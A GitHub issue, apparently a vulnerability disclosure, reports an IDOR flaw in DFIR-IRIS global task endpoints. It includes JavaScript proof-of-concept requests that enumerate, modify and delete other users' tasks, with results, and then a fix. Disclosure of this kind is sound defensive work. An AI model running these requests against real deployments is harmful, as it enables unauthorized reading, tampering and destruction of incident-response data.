Skip to content

[BUG] IDOR in Global Tasks Management Endpoints #1034

@octavia-writer

Description

@octavia-writer

IDOR in Global Tasks Management Endpoints

Description

A critical Insecure Direct Object Reference (IDOR) vulnerability exists in the Global Tasks management functionality of DFIR-IRIS. The vulnerability affects three endpoints responsible for viewing, updating, and deleting global tasks.

The affected endpoints only verify that the user is authenticated via the @ac_api_requires() decorator but fail to verify that the authenticated user is authorized to access the specific task being requested. This allows any authenticated user to view, modify, or delete global tasks belonging to other users by manipulating the task ID parameter.

Impact

Successful exploitation allows any authenticated user to:

  1. Information Disclosure: Read the contents of other users' private global tasks, including task titles, descriptions, tags, status, and assignment information. In a SOC environment, this may expose sensitive investigation notes.

  2. Data Tampering: Modify any global task's content, status, assignment, or other attributes. An attacker could alter critical task information, disrupting incident response workflows.

  3. Data Destruction: Delete any global task, causing loss of operational data and potentially affecting ongoing investigations.

The vulnerability is particularly severe in:

  • Multi-user DFIR environments where task isolation between analysts is expected
  • MSSP scenarios where different analysts handle different clients
  • Regulated industries where task ownership and access controls are compliance requirements

Technical Analysis

Root Cause

The vulnerable code is in source/app/blueprints/rest/dashboard_routes.py:

1. View Global Task (Lines 157-164) - No ownership check:

@dashboard_rest_blueprint.route('/global/tasks/<int:cur_id>', methods=['GET'])
@ac_api_requires()
def view_gtask(cur_id):
    task = get_global_task(task_id=cur_id)
    if not task:
        return response_error(f'Global task ID {cur_id} not found')
    return response_success("", data=task._asdict())

2. Update Global Task (Lines 240-275) - No ownership check:

@dashboard_rest_blueprint.route('/global/tasks/update/<int:cur_id>', methods=['POST'])
@ac_api_requires()
@ac_requires_case_identifier()
def edit_gtask(cur_id, caseid):
    task = GlobalTasks.query.filter(GlobalTasks.id == cur_id).first()
    # NO OWNERSHIP VALIDATION - proceeds directly to update
    gtask = gtask_schema.load(request_data, instance=task)
    db.session.commit()

3. Delete Global Task (Lines 278-299) - No ownership check:

@dashboard_rest_blueprint.route('/global/tasks/delete/<int:cur_id>', methods=['POST'])
@ac_api_requires()
@ac_requires_case_identifier()
def gtask_delete(cur_id, caseid):
    data = GlobalTasks.query.filter(GlobalTasks.id == cur_id).first()
    # NO OWNERSHIP VALIDATION - proceeds directly to delete
    GlobalTasks.query.filter(GlobalTasks.id == cur_id).delete()
    db.session.commit()

The GlobalTasks model contains ownership fields that could be used for authorization:

  • task_userid_open: User who created the task
  • task_assignee_id: User assigned to the task
  • task_userid_update: User who last updated the task

None of these fields are validated against current_user.id before granting access.

Sequential IDs Enable Enumeration

Task IDs are sequential integers starting from 1, making enumeration trivial. An attacker can iterate through IDs to discover and access all global tasks in the system.

Proof of Concept

Prerequisites

  • Authenticated access to IRIS (any permission level)

Verified Exploitation (2026-02-11 - Dev Environment)

Test Setup:

  1. Created Task ID 1: "IDOR Test Task - User A Private Data" assigned to VVX7 (user 3)
  2. Created Task ID 2: "Admin's Private Task" assigned to administrator (user 1)

IDOR Read - Enumerate All Tasks:

// Any authenticated user can read any task
for (let id = 1; id <= 10; id++) {
  const resp = await fetch(`/global/tasks/${id}?cid=1`);
  const data = await resp.json();
  if (data.status === 'success') {
    console.log(`Task ${id}: ${data.data.task_title}`);
  }
}

Result:

Task 1: IDOR Test Task - User A Private Data
Task 2: Admin's Private Task - Should Not Be Accessible

IDOR Update - Modify Another User's Task:

const resp = await fetch('/global/tasks/update/2?cid=1', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    task_title: "MODIFIED BY IDOR ATTACK",
    task_description: "Task modified by unauthorized user",
    task_status_id: 4,
    task_assignee_id: 1,
    csrf_token: csrfToken
  })
});
// Result: {"status":"success","message":"Task updated"}

IDOR Delete - Delete Another User's Task:

const resp = await fetch('/global/tasks/delete/3?cid=1', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ csrf_token: csrfToken })
});
// Result: {"status":"success","message":"Task deleted"}

Results Summary

Operation Endpoint Result
READ GET /global/tasks/1 SUCCESS - Full task data returned
UPDATE POST /global/tasks/update/2 SUCCESS - Task modified
DELETE POST /global/tasks/delete/3 SUCCESS - Task deleted

Remediation

Recommended Fix

Add ownership validation function and apply to all endpoints:

def user_can_access_task(task, user_id):
    """Check if user has access to the global task."""
    return (
        task.task_userid_open == user_id or
        task.task_assignee_id == user_id or
        ac_current_user_has_permission(Permissions.server_administrator)
    )

@dashboard_rest_blueprint.route('/global/tasks/<int:cur_id>', methods=['GET'])
@ac_api_requires()
def view_gtask(cur_id):
    task = GlobalTasks.query.filter(GlobalTasks.id == cur_id).first()
    if not task:
        return response_error(f'Global task ID {cur_id} not found')
    
    if not user_can_access_task(task, current_user.id):
        return response_error('Access denied', status=403)
    
    return response_success("", data=GlobalTasksSchema().dump(task))

Apply the same check to edit_gtask and gtask_delete functions.

Additional Recommendations

  1. Use UUIDs: Replace sequential integer IDs with UUIDs to prevent enumeration
  2. Rate limiting: Add rate limiting to task endpoints to slow enumeration attempts
  3. Audit logging: Log failed authorization attempts for security monitoring
  4. Role-based access: Consider implementing team/role-based task visibility

Verification

  1. As User A, create a global task assigned to User A
  2. As User B (different authenticated user), attempt to access /global/tasks/<task_id>
  3. Verify response is "Access denied" (403), not the task data
  4. Repeat for update and delete endpoints

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions